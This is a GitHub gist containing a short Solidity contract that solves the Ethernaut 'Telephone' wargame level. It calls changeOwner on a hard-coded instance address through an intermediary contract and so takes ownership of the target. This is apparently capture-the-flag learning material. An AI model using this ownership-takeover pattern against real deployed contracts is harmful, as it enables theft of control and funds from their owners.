Skip to content

Instantly share code, notes, and snippets.

@SilviaMargaritaOcegueda
Last active June 24, 2022 18:50
Show Gist options
  • Save SilviaMargaritaOcegueda/2046d4298421aa46d96897118e716afd to your computer and use it in GitHub Desktop.
Save SilviaMargaritaOcegueda/2046d4298421aa46d96897118e716afd to your computer and use it in GitHub Desktop.
Level 4 - Telephone - Ethernaut
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract TelephoneHack {
function telephoneHack() public {
bytes memory changeLoad = abi.encodeWithSignature("changeOwner(address)", 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
// Change to your instance address
(bool success,) = 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(changeLoad);
require(success);
// nameReg.call(bytes4(keccak256("fun(uint256)")), a);
// 0xdCA7693Be5F569A966Ad33F7A14C85414404cB6d.call(bytes4(keccak256("changeOwner(address)")), 0xF2FF428414A3C798f3e59A101C0f659641Edcc29);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment